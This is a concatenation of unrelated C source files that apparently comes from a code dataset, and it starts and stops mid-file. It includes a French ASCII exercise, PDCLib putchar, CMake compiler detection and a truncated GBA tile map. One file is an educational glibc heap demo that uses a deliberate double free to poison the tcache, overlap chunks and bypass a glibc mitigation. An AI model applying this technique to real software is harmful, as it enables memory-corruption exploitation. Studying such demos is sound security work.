p; /*make compiler happy*/
putchar (c);
}
|
the_stack_data/159516214.c | /*
Entrer un code ASCII, le traduire en lettre; deux saisies.
*/
#include <stdio.h>
main()
{
char lettre1, lettre2 ;
int entier1, entier2 ;
printf("Entrez un entier compris entre 1 et 126 : ") ;
scanf("%d", &entier1) ;
lettre1 = entier1 ;
printf("La lettre correspondante selon le code ASCII est : %c\n", lettre1) ;
printf("Entrez un entier compris entre 1 et 126 : ") ;
scanf("%d", &entier2) ;
lettre2 = entier2 ;
printf("La lettre correspondante selon le code ASCII est : %c\n", lettre2) ;
}
|
the_stack_data/242331516.c |
void set_self_pointer(void *pointer) {
#ifdef __aarch64__
__asm__("mov x20, x0");
#endif
#ifdef __x86_64__
__asm__("movq %rdi, %r13");
#endif
}
|
the_stack_data/99975.c |
//#include <stdlib.h>
//#include <inttypes.h>
int main()
{
float d, f = 3.1415;
// uint32_t a = 7, b = 3, c, r;
// c = a / b;
// r = a % b;
d = f * 2.1;
return( 0 );
}
|
the_stack_data/36137.c | #include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */
// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// introduction
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\n");
// prepare the target
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\n\n", stack_var);
// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
intptr_t *prev = malloc(0x100);
printf("Allocating a chunk for later consolidation: prev @ %p\n", prev);
intptr_t *a = malloc(0x100);
printf("Allocating the victim chunk: a @ %p\n", a);
puts("Allocating a padding to prevent consolidation.\n");
malloc(0x10);
// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/
puts("Now we have the chunk overlapping primitive:");
int prev_size = prev[-1] & 0xff0;
int a_size = a[-1] & 0xff0;
printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size);
printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
a = malloc(0x100);
memset(a, 0, 0x100);
prev[0x110/sizeof(intptr_t)] = 0x41414141;
assert(a[0] == 0x41414141);
return 0;
}
|
the_stack_data/11671.c | /* $Id: putchar.c 517 2011-06-13 10:03:13Z solar $ */
/* putchar( int )
This file is part of the Public Domain C Library (PDCLib).
Permission is granted to use, modify, and / or redistribute at will.
*/
#include <stdio.h>
#ifndef REGTEST
int putchar( int c )
{
return fputc( c, stdout );
}
#endif
#ifdef TEST
#include <_PDCLIB_test.h>
int main( void )
{
/* Testing covered by ftell.c */
return TEST_RESULTS;
}
#endif
|
the_stack_data/140765335.c | #ifdef __cplusplus
# error "A C++ compiler has been selected for C."
#endif
#if defined(__18CXX)
# define ID_VOID_MAIN
#endif
#if defined(__INTEL_COMPILER) || defined(__ICC)
# define COMPILER_ID "Intel"
#elif defined(__clang__)
# define COMPILER_ID "Clang"
#elif defined(__BORLANDC__)
# define COMPILER_ID "Borland"
#elif defined(__WATCOMC__)
# define COMPILER_ID "Watcom"
#elif defined(__SUNPRO_C)
# define COMPILER_ID "SunPro"
#elif defined(__HP_cc)
# define COMPILER_ID "HP"
#elif defined(__DECC)
# define COMPILER_ID "Compaq"
#elif defined(__IBMC__)
# if defined(__COMPILER_VER__)
# define COMPILER_ID "zOS"
# elif __IBMC__ >= 800
# define COMPILER_ID "XL"
# else
# define COMPILER_ID "VisualAge"
# endif
#elif defined(__PGI)
# define COMPILER_ID "PGI"
#elif defined(__PATHSCALE__)
# define COMPILER_ID "PathScale"
#elif defined(_CRAYC)
# define COMPILER_ID "Cray"
#elif defined(__TI_COMPILER_VERSION__)
# define COMPILER_ID "TI_DSP"
#elif defined(__TINYC__)
# define COMPILER_ID "TinyCC"
#elif defined(__SCO_VERSION__)
# define COMPILER_ID "SCO"
#elif defined(__GNUC__)
# define COMPILER_ID "GNU"
#elif defined(_MSC_VER)
# define COMPILER_ID "MSVC"
#elif defined(__ADSPBLACKFIN__) || defined(__ADSPTS__) || defined(__ADSP21000__)
/* Analog Devices C++ compiler for Blackfin, TigerSHARC and
SHARC (21000) DSPs */
# define COMPILER_ID "ADSP"
/* IAR Systems compiler for embedded systems.
http://www.iar.com
Not supported yet by CMake
#elif defined(__IAR_SYSTEMS_ICC__)
# define COMPILER_ID "IAR" */
/* sdcc, the small devices C compiler for embedded systems,
http://sdcc.sourceforge.net */
#elif defined(SDCC)
# define COMPILER_ID "SDCC"
#elif defined(_SGI_COMPILER_VERSION) || defined(_COMPILER_VERSION)
# define COMPILER_ID "MIPSpro"
/* This compiler is either not known or is too old to define an
identification macro. Try to identify the platform and guess that
it is the native compiler. */
#elif defined(__sgi)
# define COMPILER_ID "MIPSpro"
#elif defined(__hpux) || defined(__hpua)
# define COMPILER_ID "HP"
#else /* unknown compiler */
# define COMPILER_ID ""
#endif
/* Construct the string literal in pieces to prevent the source from
getting matched. Store it in a pointer rather than an array
because some compilers will just produce instructions to fill the
array rather than assigning a pointer to a static array. */
char const* info_compiler = "INFO" ":" "compiler[" COMPILER_ID "]";
/* Identify known platforms by name. */
#if defined(__linux) || defined(__linux__) || defined(linux)
# define PLATFORM_ID "Linux"
#elif defined(__CYGWIN__)
# define PLATFORM_ID "Cygwin"
#elif defined(__MINGW32__)
# define PLATFORM_ID "MinGW"
#elif defined(__APPLE__)
# define PLATFORM_ID "Darwin"
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
# define PLATFORM_ID "Windows"
#elif defined(__FreeBSD__) || defined(__FreeBSD)
# define PLATFORM_ID "FreeBSD"
#elif defined(__NetBSD__) || defined(__NetBSD)
# define PLATFORM_ID "NetBSD"
#elif defined(__OpenBSD__) || defined(__OPENBSD)
# define PLATFORM_ID "OpenBSD"
#elif defined(__sun) || defined(sun)
# define PLATFORM_ID "SunOS"
#elif defined(_AIX) || defined(__AIX) || defined(__AIX__) || defined(__aix) || defined(__aix__)
# define PLATFORM_ID "AIX"
#elif defined(__sgi) || defined(__sgi__) || defined(_SGI)
# define PLATFORM_ID "IRIX"
#elif defined(__hpux) || defined(__hpux__)
# define PLATFORM_ID "HP-UX"
#elif defined(__HAIKU) || defined(__HAIKU__) || defined(_HAIKU)
# define PLATFORM_ID "Haiku"
/* Haiku also defines __BEOS__ so we must
put it prior to the check for __BEOS__
*/
#elif defined(__BeOS) || defined(__BEOS__) || defined(_BEOS)
# define PLATFORM_ID "BeOS"
#elif defined(__QNX__) || defined(__QNXNTO__)
# define PLATFORM_ID "QNX"
#elif defined(__tru64) || defined(_tru64) || defined(__TRU64__)
# define PLATFORM_ID "Tru64"
#elif defined(__riscos) || defined(__riscos__)
# define PLATFORM_ID "RISCos"
#elif defined(__sinix) || defined(__sinix__) || defined(__SINIX__)
# define PLATFORM_ID "SINIX"
#elif defined(__UNIX_SV__)
# define PLATFORM_ID "UNIX_SV"
#elif defined(__bsdos__)
# define PLATFORM_ID "BSDOS"
#elif defined(_MPRAS) || defined(MPRAS)
# define PLATFORM_ID "MP-RAS"
#elif defined(__osf) || defined(__osf__)
# define PLATFORM_ID "OSF1"
#elif defined(_SCO_SV) || defined(SCO_SV) || defined(sco_sv)
# define PLATFORM_ID "SCO_SV"
#elif defined(__ultrix) || defined(__ultrix__) || defined(_ULTRIX)
# define PLATFORM_ID "ULTRIX"
#elif defined(__XENIX__) || defined(_XENIX) || defined(XENIX)
# define PLATFORM_ID "Xenix"
#else /* unknown platform */
# define PLATFORM_ID ""
#endif
/* For windows compilers MSVC and Intel we can determine
the architecture of the compiler being used. This is because
the compilers do not have flags that can change the architecture,
but rather depend on which compiler is being used
*/
#if defined(_WIN32) && defined(_MSC_VER)
# if defined(_M_IA64)
# define ARCHITECTURE_ID "IA64"
# elif defined(_M_X64) || defined(_M_AMD64)
# define ARCHITECTURE_ID "x64"
# elif defined(_M_IX86)
# define ARCHITECTURE_ID "X86"
# else /* unknown architecture */
# define ARCHITECTURE_ID ""
# endif
#else
# define ARCHITECTURE_ID ""
#endif
/* Construct the string literal in pieces to prevent the source from
getting matched. Store it in a pointer rather than an array
because some compilers will just produce instructions to fill the
array rather than assigning a pointer to a static array. */
char const* info_platform = "INFO" ":" "platform[" PLATFORM_ID "]";
char const* info_arch = "INFO" ":" "arch[" ARCHITECTURE_ID "]";
/*--------------------------------------------------------------------------*/
#ifdef ID_VOID_MAIN
void main() {}
#else
int main(int argc, char* argv[])
{
int require = 0;
require += info_compiler[argc];
require += info_platform[argc];
require += info_arch[argc];
(void)argv;
return require;
}
#endif
|
the_stack_data/1246874.c |
//{{BLOCK(Level_1_Tower_MainBack_2)
//======================================================================
//
// Level_1_Tower_MainBack_2, 384x512@2,
// + regular map (flat), not compressed, 48x64
// External tile file: (null).
// Total size: 6144 = 6144
//
// Exported by Cearn's GBA Image Transmogrifier, v0.8.6
// ( http://www.coranac.com/projects/#grit )
//
//======================================================================
const unsigned short Level_1_Tower_MainBack_2Map[3072] __attribute__((aligned(4)))=
{
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0003,0x0004,0x0004,0x0004,0x0004,0x0004,
0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,
0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,
0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x2003,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x1003,0x3004,0x3004,0x3004,0x3004,0x3004,
0x3004,0x3004,0x0005,0x0006,0x0007,0x2007,0x2006,0x2005,
0x0008,0x0005,0x3004,0x3004,0x3004,0x3004,0x3004,0x3004,
0x3004,0x3004,0x3004,0x3004,0x3004,0x3004,0x3004,0x3003,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0009,0x000A,0x000B,0x200B,0x200A,0x000C,
0x000D,0x000E,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x000F,0x1006,0x1007,0x3007,0x3006,0x3005,
0x3008,0x0010,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x2002,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x2002,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,
0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,
0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,
0x0004,0x0004,0x0004,0x0004,0x0004,0x2003,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x1003,0x3004,0x3004,0x3004,0x3004,0x3004,
0x3004,0x3004,0x3004,0x3004,0x3004,0x3004,0x3004,0x3004,
0x3004,0x3004,0x3004,0x3004,0x3004,0x3004,0x3004,0x3004,
0x3004,0x3004,0x3004,0x3004,0x3004,0x3004,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0002,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0002,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0002,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0002,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0003,0x0004,0x0004,0x0004,0x0004,0x0004,
0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,
0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,
0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,
0x0004,0x0004,0x0004,0x0004,0x0004,0x0004,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x3004,0x3004,0x3004,0x3004,0x3004,0x3003,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
